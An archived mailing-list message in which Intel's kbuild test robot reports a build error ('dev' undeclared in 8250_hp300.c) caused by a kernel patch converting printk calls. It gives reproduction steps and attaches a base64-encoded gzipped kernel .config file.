lnIBbI+gVFlmXgRiTsvDQrHwhhLlCT3DNSA8gmyYnNHBKHRQXl7jRecmC0MdRsIwYPLTwv4V
la9xxs6Y8bd4wNbi07i9Km/Lrj78QC+XUN9/w1GSnsS3TUVDejGMI2KJEX1fUuqSPDJvUZF9
uDvqOcuJ0CfcjKkpimATlSyAJMzQCGnPdB8YdPk3laYahJdwS3wMmwnGEoPSYlF09XMBNNrh
KExTDt+Xq5k9Sr9u1B1Y/x+feflFsmEBAA==

--+HP7ph2BbKc20aGI--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:17 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v3 10/12] tty: serial: 8250: Suitably replace printk
Date: Fri, 8 Jan 2016 18:53:36 +0800
Lines: 711
Approved: news@gmane.org
Message-ID: <201601081856.v6DDSBwI%fengguang.wu@intel.com>
References: <1452248528-14023-11-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="mYCpIKhGyMATD0i+"
X-Trace: ger.gmane.org 1452250518 27900 80.91.229.3 (8 Jan 2016 10:55:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Jan 2016 10:55:18 +0000 (UTC)
Cc: kbuild-all@01.org, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
To: Anton Wuerfel <anton.wuerfel@fau.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 08 11:55:08 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aHUh5-00013L-9k
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Jan 2016 11:54:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754482AbcAHKyy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Jan 2016 05:54:54 -0500
Original-Received: from mga01.intel.com ([192.55.52.88]:37440 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754236AbcAHKyy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Jan 2016 05:54:54 -0500
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga101.fm.intel.com with ESMTP; 08 Jan 2016 02:54:52 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.20,538,1444719600"; 
   d="gz'50?scan'50,208,50";a="889021605"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga002.fm.intel.com with ESMTP; 08 Jan 2016 02:54:49 -0800
Original-Received: from kbuild by bee with local (Exim 4.83)
	(envelope-from <fengguang.wu@intel.com>)
	id 1aHUgt-000D1M-Kw; Fri, 08 Jan 2016 18:54:43 +0800
Content-Disposition: inline
In-Reply-To: <1452248528-14023-11-git-send-email-anton.wuerfel@fau.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26322 gmane.linux.kernel:2121686
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26322>


--mYCpIKhGyMATD0i+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Phillip,

[auto build test ERROR on tty/tty-testing]
[also build test ERROR on v4.4-rc8 next-20160108]
[if your patch is applied to the wrong git tree, please drop us a note to help improving the system]

url:    https://github.com/0day-ci/linux/commits/Anton-Wuerfel/tty-serial-8250-Fix-checkpatch-warnings/20160108-182908
base:   https://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty.git tty-testing
config: m68k-allyesconfig (attached as .config)
reproduce:
        wget https://git.kernel.org/cgit/linux/kernel/git/wfg/lkp-tests.git/plain/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        # save the attached .config to linux build tree
        make.cross ARCH=m68k 

All errors (new ones prefixed by >>):

   drivers/tty/serial/8250/8250_hp300.c: In function 'hpdca_init_one':
>> drivers/tty/serial/8250/8250_hp300.c:182:15: error: 'dev' undeclared (first use in this function)
      dev_notice(&dev->dev,
                  ^
   drivers/tty/serial/8250/8250_hp300.c:182:15: note: each undeclared identifier is reported only once for each function it appears in

vim +/dev +182 drivers/tty/serial/8250/8250_hp300.c

   176		uart.port.membase = (char *)(uart.port.mapbase + DIO_VIRADDRBASE);
   177		uart.port.regshift = 1;
   178		uart.port.dev = &d->dev;
   179		line = serial8250_register_8250_port(&uart);
   180	
   181		if (line < 0) {
 > 182			dev_notice(&dev->dev,
   183				  "8250_hp300: register_serial() DCA scode %d irq %d failed\n",
   184				  d->scode, uart.port.irq);
   185			return -ENOMEM;

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--mYCpIKhGyMATD0i+
Content-Type: application/octet-stream
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

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
